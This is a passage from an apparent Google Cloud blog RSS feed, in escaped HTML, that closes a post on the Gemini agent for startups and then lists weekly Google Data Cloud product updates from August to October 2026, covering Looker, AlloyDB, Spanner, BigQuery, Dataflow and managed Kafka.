&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;What it means for startups:&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; You and your developers can experiment with long-running, parallel agentic loops with a built-in financial safety net that protects your cash reserves and builds confidence with your backers.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Founders already building&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;Startups and AI-native innovators are already putting Gemini to work. Immersive storytelling platform&lt;/span&gt;&lt;a href="https://cloud.google.com/transform/whenere-dreamlands-gemini-jane-austen-fortnite-future-of-fan-fiction"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; &lt;/span&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Whenere&lt;/strong&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt; used Dreamlands&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, an agentic 3D worldbuilding platform built on Gemini platform, to bring &lt;/span&gt;&lt;span style="font-style: italic; vertical-align: baseline;"&gt;Pride and Prejudice&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; to Fortnite — with Gemini generating textures for each new object in about 7 seconds for under 10 cents; one artist created nearly 250 custom assets in a single day and completed a historically accurate estate in under a week. They join application-building platform &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Lovable&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; and fellow startups and innovators including &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt; OpenEvidence&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Recursion&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;, and &lt;/span&gt;&lt;strong style="vertical-align: baseline;"&gt;Replit&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/ai-machine-learning/welcome-to-gemini-at-work-2026?e=48754805"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;and more&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong style="vertical-align: baseline;"&gt;Build with Google for Startups&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;The agentic era gives lean teams the leverage to punch far above their weight — whether you’re deploying coworker agents to cover internal operations or building agentic workflows directly into your product.&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;span style="vertical-align: baseline;"&gt;While these new Gemini agent capabilities are not publicly available yet, startups can&lt;/span&gt;&lt;a href="https://cloud.google.com/contact"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;contact our sales team&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to learn more and discuss how to get ready. In the meantime, you can explore the&lt;/span&gt;&lt;a href="https://startup.google.com/" rel="noopener" target="_blank"&gt;&lt;span style="vertical-align: baseline;"&gt; &lt;/span&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Google for Startups program&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to access credits, hands-on technical guidance, mentorship, global founder community programs and more. &lt;/span&gt;&lt;/p&gt;&lt;/div&gt;</description><pubDate>Thu, 15 Oct 2026 16:00:00 +0000</pubDate><guid>https://cloud.google.com/blog/topics/startups/what-the-gemini-agent-means-for-startups/</guid><category>AI &amp; Machine Learning</category><category>Customers</category><category>Small and Medium Businesses</category><media:content height="540" url="https://storage.googleapis.com/gweb-cloudblog-publish/images/startups-gemini-agent-header2.max-600x600.png" width="540"></media:content><og xmlns:og="http://ogp.me/ns#"><type>article</type><title>What the Gemini agent means for startups</title><description></description><image>https://storage.googleapis.com/gweb-cloudblog-publish/images/startups-gemini-agent-header2.max-600x600.png</image><site_name>Google</site_name><url>https://cloud.google.com/blog/topics/startups/what-the-gemini-agent-means-for-startups/</url></og><author xmlns:author="http://www.w3.org/2005/Atom"><name>Darren Mowry</name><title>VP, Global Startups &amp; Investor Ecosystem, Google</title><department></department><company></company></author></item><item><title>What’s new with Google Data Cloud</title><link>https://cloud.google.com/blog/products/data-analytics/whats-new-with-google-data-cloud/</link><description>&lt;div class="block-paragraph_advanced"&gt;&lt;h3&gt;October 12 - October 16&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Looker Data Apps are now in Preview to build and host interactive, agent-generated applications natively inside Looker&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Generated using natural language prompts, the Antigravity CLI, or Claude Code, these interactive web applications, &lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;natively hosted inside Looker,&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt; transform business reporting into operational systems of action. Users can test scenarios, adjust parameters, and trigger workflows in downstream platforms while inheriting LookML semantic modeling, row-level security, and access controls with no runtime LLM token costs.&lt;/span&gt; &lt;a href="https://cloud.google.com/blog/products/business-intelligence/introducing-looker-data-apps"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the announcement blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Build end-to-end data science pipelines with the Data Agent Kit&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Following the general availability of the &lt;/span&gt;&lt;a href="https://cloud.google.com/products/data-agent-kit"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Data Agent Kit&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, a new end-to-end walkthrough demonstrates how data teams can build, test, and schedule machine learning pipelines directly from their preferred code editors.&lt;/span&gt; &lt;a href="https://cloud.google.com/blog/products/data-analytics/bringing-you-the-data-agent-kit"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Explore the walkthrough and codelab&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Manage dashboard agents as code to bring CI/CD and version control to LookML dashboards&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Data teams can now declare agent parameters, configurations, and prompt instructions alongside dashboard files in code. This integration enables standard developer workflows for conversational BI, including Git version control, peer review, branching, and automated CI/CD validation before agent modifications reach production end users.&lt;/span&gt; &lt;a href="https://discuss.google.dev/t/manage-dashboard-agents-as-code-bring-customization-and-ci-cd-to-lookml/403537" rel="noopener" target="_blank"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the technical guide on the Google Developer Community&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;&lt;strong style="vertical-align: baseline;"&gt;Simplify AI search with native AlloyDB hybrid search and Reciprocal Rank Fusion&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;AlloyDB for PostgreSQL simplifies hybrid search architectures by combining vector similarity search and keyword BM25 retrieval within a unified database engine. Using Reciprocal Rank Fusion (RRF), developers can merge lexical scoring and semantic embeddings into a single ranked result without writing a complex SQL query. This unified approach removes the operational overhead of running and synchronizing external search engines alongside operational databases for retrieval-augmented generation (RAG) and search applications.&lt;/span&gt; &lt;a href="https://cloud.google.com/blog/products/databases/simplify-ai-search-with-alloydb-hybrid-search-and-rrf"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Explore hybrid search in AlloyDB&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;October 5 - October 9&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Data Agent Kit is now generally available to bring Google Data Cloud to any coding agent&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://cloud.google.com/products/data-agent-kit"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Data Agent Kit&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; provides a free collection of Model Context Protocol (MCP) tools and Google-authored agent skills that connect more than 15 Google Data Cloud services directly to coding agents across VS Code, Antigravity, Cursor, Claude Code, and Codex. This release expands support for developers and data practitioners to inspect schemas, author queries, and build end-to-end data pipelines in natural language directly from their IDE or CLI. &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/topics/developers-practitioners/data-agent-kit-is-now-ga-bring-google-data-cloud-to-any-coding-agent"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the announcement blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Spanner Omni is now generally available for deploy-anywhere, multi-model workloads&lt;br/&gt;&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;Spanner Omni&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt; brings Spanner's distributed SQL, graph, vector, and key-value capabilities to any environment, including on-premises data centers, other public clouds via Kubernetes or VMs, and local developer laptops. Organizations can build and run multi-model applications with consistent APIs and query engines across hybrid and multi-cloud footprints while seamlessly scaling to managed Spanner on Google Cloud. &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/spanner-omni-deploy-anywhere-version-of-spanner-is-now-ga"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the launch blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and explore how Spanner also &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/spanner-removes-dml-mutation-limits"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;removed cumulative mutation limits for DML transactions&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;AlloyDB delivers PostgreSQL for agents and native BM25 hybrid search&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;We announced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/announcing-postgresql-for-agents-in-alloydb"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;PostgreSQL for agents in AlloyDB&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, introducing an &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/alloydbs-agentic-database-architecture"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;agentic database architecture&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; engineered for real-time data access at agent scale with workload isolation. In addition, &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/native-bm25-search-in-alloydb-and-cloud-sql"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;native BM25 ranking is now in Preview for AlloyDB and Cloud SQL&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, allowing developers to combine keyword search and vector embeddings directly in PostgreSQL without maintaining an external search engine. For hybrid deployments, the &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/alloydb-omni-rpm-orchestrator-is-generally-available"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;AlloyDB Omni RPM Orchestrator is now generally available&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, and you can dive deeper in our new &lt;/span&gt;&lt;a href="https://cloud.google.com/resources/content/alloydb-for-postgresql"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Build AI apps and agents with AlloyDB eBook&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Lakehouse runtime catalog adds regional endpoints across 22 regions and GA support for flexible column names&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/regional-endpoints"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Lakehouse runtime catalog regional endpoints&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are now live across 22 Google Cloud regions across the Americas, Europe, Asia-Pacific, and the Middle East, supporting both the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-iceberg-rest-catalog-endpoint"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Apache Iceberg REST catalog endpoint&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/lakehouse/docs/about-spark-hive-metastore"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Apache Hive catalog endpoint&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to help customers meet strict data residency and sovereignty requirements. In addition, &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/schemas#flexible-column-names"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;flexible column names for Apache Iceberg tables&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; are now generally available by default across Iceberg external tables and managed tables, enabling seamless querying of columns containing spaces, hyphens, and Unicode characters. We also announced the Preview of &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/borderless-lakehouse-cross-cloud-caching-and-connections"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;cross-cloud caching and connections for the borderless Lakehouse&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Unlock predictive and agent-ready insights with BigQuery augmented analytics TVFs, TabFM, and identity columns&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;BigQuery introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/bigquery-augmented-analytics-tvfs"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;augmented analytics table-valued functions (TVFs)&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;: six built-in functions that automate metric diagnostics, trend analysis, and pattern discovery directly where your data lives and integrate as skills for AI agents. We also introduced &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/tabfm-adds-predictive-ml-to-bigquery"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;TabFM in BigQuery&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to bring tabular foundation model capabilities to predictive analytics, alongside &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/bigquery-identity-columns-to-auto-generate-sequential-integers"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;BigQuery identity columns&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; to automatically generate sequential surrogate keys and simplify data warehouse pipelines.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Dataflow adds Pause/Resume and NVIDIA RTX PRO 6000 Blackwell GPU support for large-scale AI workloads&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/new-dataflow-features-to-enable-large-scale-ai-workloads"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;New Dataflow capabilities&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; make it easier to run high-throughput streaming and batch AI pipelines at scale, including Pause/Resume job controls and support for NVIDIA RTX PRO 6000 Blackwell GPUs. And for teams running Apache Spark workloads, learn how to &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/maximize-apache-spark-availability-with-flexible-vms"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;mitigate compute stockouts and maximize availability using flexible VMs&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Unlock up to 3x higher QPS and microsecond latency with Memorystore for Valkey 9.1&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://cloud.google.com/blog/products/databases/memorystore-for-valkey-9-1-3x-qps-caching"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Memorystore for Valkey 9.1&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; is now available, delivering up to 3x higher queries per second (QPS) and microsecond-level caching latencies to accelerate high-throughput applications and real-time AI agent state management. &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/memorystore-for-valkey-9-1-3x-qps-caching"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Read the blog&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Customer momentum across Google Data Cloud — Yahoo, PayPal, Surescripts, Airwallex, and Lucius AI&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;Organizations across industries are scaling their data and AI foundations on Google Data Cloud. &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/how-yahoo-optimizes-apache-spark-with-flexible-vms"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Yahoo&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; uses flexible VMs in Managed Service for Apache Spark to reduce provisioning failures by 85%, while &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/data-analytics/paypals-journey-with-managed-service-for-apache-spark"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;PayPal&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; migrated mission-critical analytics workloads to Managed Service for Apache Spark to scale and reduce operational overhead. On the database front, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/surescripts"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Surescripts&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; migrated 30.5 billion annual healthcare transactions to AlloyDB with 99.998% uptime, &lt;/span&gt;&lt;a href="https://cloud.google.com/customers/airwallex-cloudsql"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Airwallex&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; manages more than 5,000 databases with 99.99% availability on Cloud SQL with a team of four DBAs, and &lt;/span&gt;&lt;a href="https://cloud.google.com/blog/products/databases/solo-founder-runs-a-global-tender-platform-on-alloydb-and-mcp"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Lucius AI&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; runs a 210,000-tender global platform on AlloyDB and MCP with 47x faster ScaNN vector search.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;September 7 - September 10&lt;/h3&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Pub/Sub SMTs can now AI Inference your Gemini Enterprise Agent Platform models!&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/pubsub/docs/smts/ai-inference-smt" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Pub/Sub AI Inference SMTs&lt;/strong&gt;&lt;/a&gt;&lt;strong style="vertical-align: baseline;"&gt; &lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;allow you to apply inference on an incoming stream of events using models hosted in Gemini Enterprise Agent Platform. The model’s prediction is appended to your event, making it available for downstream processing in your data warehouse (like BigQuery) or operational database (like BigTable). This feature, now generally available, can dramatically simplify or enhance anomaly detection systems you are operating. &lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;PostgreSQL Source Connector is now generally available in Managed Service for Apache Kafka!&lt;br/&gt;&lt;/strong&gt;Managed Service for Apache Kafka’s PostgreSQL connector allows customers to capture changes from their PostgreSQL database and ingest them into their Kafka infrastructure with low latency. This source connector is compatible with &lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/connect-cluster/create-cloud-sql-postgres-source-connector" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;Cloud SQL for Postgres&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;, &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/connect-cluster/create-generic-postgres-source-connector" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;AlloyDB, and self-managed PostgreSQL&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; databases. Try this along with our entire portfolio of &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/kafka-connect-overview" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;managed connectors, including MirrorMaker 2.0, BigQuery, Cloud Storage, and Pub/Sub&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt;! E-mail &lt;/span&gt;&lt;a href="mailto:kafka-hotline@google.com" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;kafka-hotline@google.com&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; if you have questions or feedback!&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Pause-on-failure for Dataflow batch jobs is GA&lt;br/&gt;&lt;/strong&gt;&lt;a href="https://docs.cloud.google.com/dataflow/docs/guides/pause-job" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Dataflow pause-on-failure&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; enables you to preserve the state of a batch Dataflow job before it fails. By pausing your Dataflow job, you can address issues that are external to the pipeline and resume processing without losing completed work. This helps you better manage resource costs and improve job reliability when you face temporary outages or capacity constraints.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;The &lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt;insertAll&lt;/strong&gt;&lt;strong style="vertical-align: baseline;"&gt; API is now the BigQuery Storage Write API (REST)&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;The legacy insertAll streaming API is now rebranded as the BigQuery Storage Write API (REST). By dropping the "legacy" label, developers can confidently build long-term HTTP-based streaming workflows. This stateless JSON-over-HTTPS endpoint offers a lightweight alternative to heavy gRPC libraries—ideal for serverless web apps, IoT telemetry, and AI logging. The transition is seamless for existing users, requiring zero code changes and offering 100% backward compatibility. However, the &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/write-api-grpc" style="font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Storage Write API (gRPC)&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; version remains the recommended standard for high-throughput, continuous pipelines.&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;August 31 - September 4&lt;/h3&gt;
&lt;ul&gt;
&lt;li role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Stateful processing is available in BigQuery continuous queries in Preview&lt;/strong&gt;&lt;br/&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/continuous-queries-introduction#supported_stateful_operations"&gt;&lt;strong style="text-decoration: underline; vertical-align: baseline;"&gt;Stateful operations&lt;/strong&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; significantly expand what’s possible with BigQuery continuous queries. This feature allows users to leverage functions like &lt;/span&gt;&lt;code style="vertical-align: baseline;"&gt;JOIN&lt;/code&gt;&lt;span style="vertical-align: baseline;"&gt;s, aggregations, and windowing functions directly in their streaming queries. Now you can calculate metrics over time (for example, a 30-minute average) to power your downstream applications and AI agents with much richer, real-time signals.&lt;br/&gt;&lt;br/&gt;&lt;/span&gt;&lt;span style="vertical-align: baseline;"&gt;Try out our feature &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/bigquery/docs/continuous-query-joins"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;here&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; and share your feedback with bq-continuous-queries-feedback@google.com!&lt;/span&gt;&lt;/li&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
&lt;p role="presentation"&gt;&lt;strong style="vertical-align: baseline;"&gt;Synthetic data generator tool is available for Managed Service for Kafka&lt;br/&gt;&lt;/strong&gt;&lt;span style="vertical-align: baseline;"&gt;You’ve launched your first Kafka cluster. Now what? The next thing to do is to produce some data to the cluster, but that involves modifying a client application somewhere or spinning up a virtual machine. The synthetic data generator tool, now generally available, can start sending mock data to your cluster in 3 clicks, and will get data streaming into your cluster in less than two minutes. The perfect utility for those moments you just want to test your cluster and new features. Try &lt;/span&gt;&lt;a href="https://docs.cloud.google.com/managed-service-for-apache-kafka/docs/quickstart-synthetic-data"&gt;&lt;span style="text-decoration: underline; vertical-align: baseline;"&gt;our quickstart&lt;/span&gt;&lt;/a&gt;&lt;span style="vertical-align: baseline;"&gt; today!&lt;/span&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li aria-level="1" style="list-style-type: disc; vertical-align: baseline;"&gt;
